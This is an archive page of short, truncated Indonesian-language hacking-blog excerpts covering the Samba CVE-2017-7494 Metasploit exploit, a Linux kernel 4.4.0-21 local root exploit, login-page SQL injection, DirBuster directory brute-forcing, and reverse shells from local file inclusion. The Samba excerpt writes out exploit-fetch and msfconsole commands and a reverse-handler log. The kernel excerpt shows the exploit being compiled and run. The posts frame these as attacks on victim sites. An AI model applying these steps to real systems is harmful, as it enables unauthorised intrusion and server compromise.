Linux Archives — LinuxSec Exploit

Samba 3.5.0 – Remote Code Execution (CVE-2017-7494) Metasploit

Yoo Cherry — Fri, 26 May 2017 06:14:00 +0000

Hmm sepertinya Remote Code Exploit juga menyerang Samba File Sharing di Linux nih? Akankah ada versi WannaCry Linux yang memanfaatkan celah ini? Atau harusnya diberi nama Sambacry? wget https://raw.githubusercontent.com/hdm/metasploit-framework/0520d7cf76f8e5e654cb60f157772200c1b9e230/modules/exploits/linux/samba/is_known_pipename.rb -O /path/to/metasploit/modules/exploits/linux/samba/sambacry.rb msfconsole msf > use exploit/linux/samba/sambacry msf exploit(sambacry) > Logs : [*] Started reverse TCP handler on 192.168.48.1:4444 [*] 192.168.48.151:445 - Using location 192.168.48.151shared for the […]

The post Samba 3.5.0 – Remote Code Execution (CVE-2017-7494) Metasploit appeared first on LinuxSec Exploit.

Linux Kernel 4.4.0-21 (Ubuntu 16.04 x64) Privilege Escalation

Yoo Cherry — Mon, 19 Sep 2016 03:52:00 +0000

Holaa.. kali ini mau share aja barangkali ada yang belom tau. Localroot kernel 4.4.0-21 (xenial) 64 bit. vnik@ubuntu:~$ uname -aLinux ubuntu 4.4.0-21-generic #37-Ubuntu SMP Mon Apr 18 18:33:37 UTC 2016 x86_64 x86_64 x86_64 GNU/Linuxvnik@ubuntu:~$ gcc decr.c -m32 -O2 -o decrvnik@ubuntu:~$ gcc pwn.c -O2 -o pwnvnik@ubuntu:~$ ./decrnetfilter target_offset Ubuntu 16.04 4.4.0-21-generic exploit by vnik[!] Decrementing the refcount. […]

The post Linux Kernel 4.4.0-21 (Ubuntu 16.04 x64) Privilege Escalation appeared first on LinuxSec Exploit.

SQL Injection pada Halaman Login

Yoo Cherry — Wed, 15 Jun 2016 21:16:00 +0000

Sebenarnya ini teknik lama namun saya share barangkali ada yang belum tau. SQL Injection sendiri bisa dilakukan di halaman login pada target yang vuln terhadap sqli post data. Saat kalian megakses halaman login sebuah situs coba masukkan petik satu ( ‘ ) di kolom username atau password nya. Nah jika kalian mendapat error seperti ss […]

The post SQL Injection pada Halaman Login appeared first on LinuxSec Exploit.

Directory Traversal Attack Menggunakan DirBuster

Yoo Cherry — Fri, 10 Jun 2016 01:33:00 +0000

Kali ini saya akan menulis mengenai Directory Traversal Attack.Ini adalah jenis serangan bruteforce yang memnungkinkan penyerang untuk mendapatkan struktur direktori dan file pada web target, untuk selanjutnya dianalisa celah atau exploit yang digunakan. Nah untuk saya sendiri biasanya menggunakan DirBuster untuk melakukan Directory Traversal Attack. Biasanya saya gunakan untuk menemukan file uploader atau admin login. DirBuster sendiri […]

The post Directory Traversal Attack Menggunakan DirBuster appeared first on LinuxSec Exploit.

Reverse Shell From Local File Inclusion Exploit

Yoo Cherry — Tue, 07 Jun 2016 19:36:00 +0000

Kali ini saya hanya share tutorial ringan mengenai cara mendapatkan remote shell dari LFI exploit. Ini tentu sangat berguna saat kita gagal mengupload backdoor ke web korban atau bahkan akan memudahkan kita saat ingin melakukan rooting server. Sebelum meneruskan tutorial ini, saya anggap kalian sudah paham dasar dari LFI exploit itu sendiri. Untuk tutorialnya bisa […]

The post Reverse Shell From Local File Inclusion Exploit appeared first on LinuxSec Exploit.